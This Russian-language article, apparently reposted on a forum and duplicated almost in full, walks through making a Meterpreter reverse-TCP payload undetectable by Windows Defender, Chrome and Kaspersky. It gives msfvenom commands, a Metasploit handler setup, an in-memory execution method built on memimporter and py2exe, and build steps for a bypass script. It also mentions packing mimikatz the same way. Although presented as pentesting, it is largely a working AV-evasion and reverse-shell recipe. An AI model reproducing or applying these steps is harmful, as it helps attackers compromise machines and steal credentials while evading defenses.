Статья с "Хакера":
Скрытие полезной нагрузки от антивируса — это серьезная проблема при пентестинге рабочих станций. Даже родной Windows Defender отлично справляется с детектированием Meterpreter, так что приходится идти на дополнительные ухищрения. В этом материале я разберу эффективность энкодера Shikata Ga Nai, протестирую пейлоад на статический анализ и попробую запустить Meterpreter напрямую из памяти.
Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По сути — прокачанная альтернатива классическим шелл‑кодам. Это отличный инструмент в арсенале любого пентестера, но он настолько популярен, что его сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.
SHIKATA GA NAI
Одна из основных техник Metasploit — это схема кодирования полезной нагрузки Shikata Ga Nai (название переводится с японского как «ничего не поделаешь»). Работает она за счет SGN, уникального «полиморфного аддитивного энкодера XOR». Благодаря ему каждый раз, когда ты кодируешь шелл‑код, это будет происходить по‑другому, от чего нагрузка становится для антивируса безопасной на вид.
В SGN реализованы: динамическая замена команд, динамическое упорядочение блоков, случайный обмен регистрами, рандомизация порядка команд, вставка ненужного кода, использование случайного ключа и рандомизация расстояния между командами.
При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.
ОПРЕДЕЛЕНИЕ ПРОБЛЕМЫ
Давай проверим Shikata Ga Nai на практике и узнаем, действительно ли его популярность привела к тому, что SGN отлавливают антивирусы. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Build 19042).
Генерировать шелл‑код я буду с помощью MSFvenom. В качестве слушателя выступит Kali Linux 2020.4 последней версии с установленным Metasploit 6.0.18-dev.
Для начала сгенерируем стандартную нагрузку без SGN:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe
...
Payload size: 354 bytes
Final size of exe file: 73802 bytes
На Kali поднимем handler. На интерфейсе eth1 IP-адрес 10.10.0.180:
$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Пробуем для начала передать файл, скачав его с помощью Google Chrome. Для этого поднимаю HTTP-сервер с помощью модуля для второй версии Python:
$ python -m SimpleHTTPServer
Пробую скачать наш шелл по адресу
Давай попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget и попробуем запустить.
Файл Meterpreter был удален даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какая внимательная Windows!
Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый пейлоад в MSFvenom. На машине с Kali по‑прежнему висит в ожидании handler.
Добавим к опциям -e x86/shikata_ga_nai -b '\x00' -i 20, то есть используем SGN в 20 итераций с удалением плохого символа \x00.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -e x86/shikata_ga_nai -b \x00 -i 20 -f exe > sgn_20_shell.exe
...
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
...
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes
Пробуем загрузить с помощью Google Chrome:
Снова неудача. После скачивания с помощью Wget и запуска нас ждет такая же история, как и в прошлый раз, — с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.
Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог. Сам по себе полиморфизм в нем неплох, но слепок стаба этого энкодера уже давно изучен.
ЗАПУСК METERPRETER ИЗ ПАМЯТИ
Очевидное решение — уход в сторону выполнения Meterpreter из памяти работающего процесса. Возможно, нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.
Для выполнения программы из памяти я буду использовать Python.
Найденный мной метод основан на использовании
Вкратце расскажу, как это работает. Из памяти на чистом Python загружается .pyd-библиотека memimporter (
Самое интересное — что все это добро заворачивается еще в один слой memimporter, только теперь уже самого py2exe. В результате мы имеем бинарный файл с кодом на Python, загружающий бинарную версию Meterpreter. И вот она уже обошла и самый новый Defender в Windows 10, и антивирус Касперского на подопытной машине с Windows 7.
В данный момент возможности таким образом запускать 64-разрядные приложения нет, но 32-разрядного режима вполне хватит для Meterpreter.
Как вариант для генерации полезной нагрузки можно использовать фреймворк
ИНСТРУКЦИЯ ПО СБОРКЕ
Для автоматизации процесса я написал bash-скрипт с заготовленными шаблонами. Собирать необходимо на Windows, так как в режиме эмуляции WINE это невозможно.
В Windows
Устанавливаем следующее ПО:
В Linux
Для генерации кода клонируем репозиторий и переходим в него:
$ git clone
$ cd meterpreter-av-bypass
Затем генерируем пейлоад с помощью MSFvenom и передаем имя файла в качестве первого аргумента скрипту gen.sh:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe
...
Payload size: 354 bytes
Final size of exe file: 73802 bytes
./gen.sh clean_shell.exe
[+] File clean_shell.exe exists.
[+] Generate clean_shell.exe complete.
В папке shell (она создается по имени аргумента) появились готовые файлы для компиляции на Windows-машине:
$ ls shell
make.bat memexec.py pymemimporter.py setup.py shell.py
Переносим их на Windows и кладем в корень папки Python (обычно это C:\\Python27), запускаем make.bat.
Если все успешно, ты увидишь следующее окно.
В папке dist находится готовый к использованию Meterpreter.
ТЕСТИРУЕМ НА WINDOWS 10
Для чистоты эксперимента я также скачаю закодированный Meterpreter c помощью Chrome. Интересно, как поведет себя статический анализатор браузера.
Снова поднимаю сервер и скачиваю:
$ python -m SimpleHTTPServer
Здорово! Мы обошли сигнатурный анализ Chrome. Но что покажет динамический анализ защитника? Нам ничего не остается, кроме как проверить это. Не забываем поднять хендлер на Kali:
$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Запускаем наш файл и смотрим в консоль msf.
Успех! Мы только что создали свою версию недетектируемой нагрузки Meterpreter. Это определенно победа. Давай посмотрим, как ведет себя эта версия шелла на Windows 7 с запущенным антивирусом Касперского.
Отличный результат! Ради интереса попробовал мигрировать в процесс антивируса Касперского. Естественно, сделать это в avpui.exe мне не удалось, так как нужны права системы, а не пользователя, а вот в процесс ksdeui.exe — вполне. Смысла нет, но забавно!
ВЫВОДЫ
Безусловно, мы получили хороший результат, но хочу еще раз обратить внимание, что этот метод работает только с 32-битными приложениями, в том числе и с 32-битной версией Meterpreter.
Таким образом можно закодировать mimikatz. Последняя версия у меня запустилась, но после ввода в командной строке ответа не последовало. Возможно, более поздние версии будут работать стабильно. Но это в Windows 10, а вот в Windows 7 все работает отлично.
Если будешь пробовать mimikatz, не забудь в файле .py с именем генерируемого .exe раскомментировать в самом конце mpe.get_shell(), иначе при запуске командная строка сразу закроется без возможности ввода.
В заключение хочу сказать, что это хороший способ обработки голого Meterpreter. Он позволяет обойти не только Windows Defender, но и некоторую защиту антивирусов. Из минусов можно отметить большой размер файла (3,7 Мбайт против 70 Кбайт), но в современных сетях это не такая проблема, как десять лет назад. Особенно приятно, что соединение получается стабильным, а файлы для кодирования нагрузки готовить несложно.
Сорцы можно качнуть в гите:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Скрытие полезной нагрузки от антивируса — это серьезная проблема при пентестинге рабочих станций. Даже родной Windows Defender отлично справляется с детектированием Meterpreter, так что приходится идти на дополнительные ухищрения. В этом материале я разберу эффективность энкодера Shikata Ga Nai, протестирую пейлоад на статический анализ и попробую запустить Meterpreter напрямую из памяти.
Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По сути — прокачанная альтернатива классическим шелл‑кодам. Это отличный инструмент в арсенале любого пентестера, но он настолько популярен, что его сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.
SHIKATA GA NAI
Одна из основных техник Metasploit — это схема кодирования полезной нагрузки Shikata Ga Nai (название переводится с японского как «ничего не поделаешь»). Работает она за счет SGN, уникального «полиморфного аддитивного энкодера XOR». Благодаря ему каждый раз, когда ты кодируешь шелл‑код, это будет происходить по‑другому, от чего нагрузка становится для антивируса безопасной на вид.
В SGN реализованы: динамическая замена команд, динамическое упорядочение блоков, случайный обмен регистрами, рандомизация порядка команд, вставка ненужного кода, использование случайного ключа и рандомизация расстояния между командами.
При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.
ОПРЕДЕЛЕНИЕ ПРОБЛЕМЫ
Давай проверим Shikata Ga Nai на практике и узнаем, действительно ли его популярность привела к тому, что SGN отлавливают антивирусы. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Build 19042).
Генерировать шелл‑код я буду с помощью MSFvenom. В качестве слушателя выступит Kali Linux 2020.4 последней версии с установленным Metasploit 6.0.18-dev.
Для начала сгенерируем стандартную нагрузку без SGN:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe
...
Payload size: 354 bytes
Final size of exe file: 73802 bytes
На Kali поднимем handler. На интерфейсе eth1 IP-адрес 10.10.0.180:
$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Пробуем для начала передать файл, скачав его с помощью Google Chrome. Для этого поднимаю HTTP-сервер с помощью модуля для второй версии Python:
$ python -m SimpleHTTPServer
Пробую скачать наш шелл по адресу
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Давай попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget и попробуем запустить.
Файл Meterpreter был удален даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какая внимательная Windows!
Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый пейлоад в MSFvenom. На машине с Kali по‑прежнему висит в ожидании handler.
Добавим к опциям -e x86/shikata_ga_nai -b '\x00' -i 20, то есть используем SGN в 20 итераций с удалением плохого символа \x00.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -e x86/shikata_ga_nai -b \x00 -i 20 -f exe > sgn_20_shell.exe
...
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
...
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes
Пробуем загрузить с помощью Google Chrome:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Снова неудача. После скачивания с помощью Wget и запуска нас ждет такая же история, как и в прошлый раз, — с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.
C сентября 2020 года компания GoogleВы должны зарегистрироваться, чтобы увидеть внешние ссылкидля высокорисковых пользователей, таких как политики и журналисты. Загружаемые участниками этой программы файлы могут сначала пройти проверку на серверах Google, а лишь потом попасть к пользователю.
Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог. Сам по себе полиморфизм в нем неплох, но слепок стаба этого энкодера уже давно изучен.
ЗАПУСК METERPRETER ИЗ ПАМЯТИ
Очевидное решение — уход в сторону выполнения Meterpreter из памяти работающего процесса. Возможно, нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.
Для выполнения программы из памяти я буду использовать Python.
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
запуска обратного шелла Python с последующей компиляцией скрипта в единый исполняемый файл модулем py2exe. Безусловно, вариант рабочий, хотя, как отмечает автор статьи по ссылке, питоновский шелл в Windows не позволяет делать некоторые вещи. Всегда есть возможность проапгрейдить Meterpreter прямо в сессии (post-модуль shell_to_meterpreter). Однако это не всегда удобно, и этот способ можно улучшить.Найденный мной метод основан на использовании
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Вкратце расскажу, как это работает. Из памяти на чистом Python загружается .pyd-библиотека memimporter (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
из py2exe). Библиотека инициализируется не из файловой системы, а значит, и без системного вызова LoadLibrary, который отслеживают антивирусы. Такое решение позволяет обойти HIPS, одно из средств проактивной защиты. После этого загружается объект pupymem_exec_pyd. Внутри него скомпилированная и закодированная в Base64 библиотека
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, которая умеет запускать файлы .exe. Разумеется, тоже из памяти.Самое интересное — что все это добро заворачивается еще в один слой memimporter, только теперь уже самого py2exe. В результате мы имеем бинарный файл с кодом на Python, загружающий бинарную версию Meterpreter. И вот она уже обошла и самый новый Defender в Windows 10, и антивирус Касперского на подопытной машине с Windows 7.
В данный момент возможности таким образом запускать 64-разрядные приложения нет, но 32-разрядного режима вполне хватит для Meterpreter.
Как вариант для генерации полезной нагрузки можно использовать фреймворк
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, в его описании тоже рекомендуется использовать метод с py2exe или PyInstaller.Пара слов о PyInstaller
Плюс PyInstaller в том, что он может собирать .exe прямо в Linux, минус — он не умеет так тесно дружить с Windows, чтобы запускать библиотеки напрямую из памяти. Вместо этого он создает архив ZIP, и загрузка ресурсов происходит из файловой системы, а это нам не подходит. Но зато им удобно собирать простые шеллы на Python, сгенерированные в том же Vail. Но, скомпилированные в чистом виде, они поднимут тревогу даже на машинах с устаревшими антивирусами. Прямо как после Shikata Ga Nai.
ИНСТРУКЦИЯ ПО СБОРКЕ
Для автоматизации процесса я написал bash-скрипт с заготовленными шаблонами. Собирать необходимо на Windows, так как в режиме эмуляции WINE это невозможно.
В Windows
Устанавливаем следующее ПО:
-
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки;
-
Вы должны зарегистрироваться, чтобы увидеть внешние ссылкидля версии 2.7;
- для py2exe может потребоваться установить
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки.
В Linux
Для генерации кода клонируем репозиторий и переходим в него:
$ git clone
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
$ cd meterpreter-av-bypass
Затем генерируем пейлоад с помощью MSFvenom и передаем имя файла в качестве первого аргумента скрипту gen.sh:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.0.180 LPORT=4433 -f exe > clean_shell.exe
...
Payload size: 354 bytes
Final size of exe file: 73802 bytes
./gen.sh clean_shell.exe
[+] File clean_shell.exe exists.
[+] Generate clean_shell.exe complete.
В папке shell (она создается по имени аргумента) появились готовые файлы для компиляции на Windows-машине:
$ ls shell
make.bat memexec.py pymemimporter.py setup.py shell.py
Переносим их на Windows и кладем в корень папки Python (обычно это C:\\Python27), запускаем make.bat.
Если все успешно, ты увидишь следующее окно.
В папке dist находится готовый к использованию Meterpreter.
ТЕСТИРУЕМ НА WINDOWS 10
Для чистоты эксперимента я также скачаю закодированный Meterpreter c помощью Chrome. Интересно, как поведет себя статический анализатор браузера.
Снова поднимаю сервер и скачиваю:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.$ python -m SimpleHTTPServer
Здорово! Мы обошли сигнатурный анализ Chrome. Но что покажет динамический анализ защитника? Нам ничего не остается, кроме как проверить это. Не забываем поднять хендлер на Kali:
$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Запускаем наш файл и смотрим в консоль msf.
Успех! Мы только что создали свою версию недетектируемой нагрузки Meterpreter. Это определенно победа. Давай посмотрим, как ведет себя эта версия шелла на Windows 7 с запущенным антивирусом Касперского.
Отличный результат! Ради интереса попробовал мигрировать в процесс антивируса Касперского. Естественно, сделать это в avpui.exe мне не удалось, так как нужны права системы, а не пользователя, а вот в процесс ksdeui.exe — вполне. Смысла нет, но забавно!
ВЫВОДЫ
Безусловно, мы получили хороший результат, но хочу еще раз обратить внимание, что этот метод работает только с 32-битными приложениями, в том числе и с 32-битной версией Meterpreter.
Таким образом можно закодировать mimikatz. Последняя версия у меня запустилась, но после ввода в командной строке ответа не последовало. Возможно, более поздние версии будут работать стабильно. Но это в Windows 10, а вот в Windows 7 все работает отлично.
Если будешь пробовать mimikatz, не забудь в файле .py с именем генерируемого .exe раскомментировать в самом конце mpe.get_shell(), иначе при запуске командная строка сразу закроется без возможности ввода.
В заключение хочу сказать, что это хороший способ обработки голого Meterpreter. Он позволяет обойти не только Windows Defender, но и некоторую защиту антивирусов. Из минусов можно отметить большой размер файла (3,7 Мбайт против 70 Кбайт), но в современных сетях это не такая проблема, как десять лет назад. Особенно приятно, что соединение получается стабильным, а файлы для кодирования нагрузки готовить несложно.
Сорцы можно качнуть в гите:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки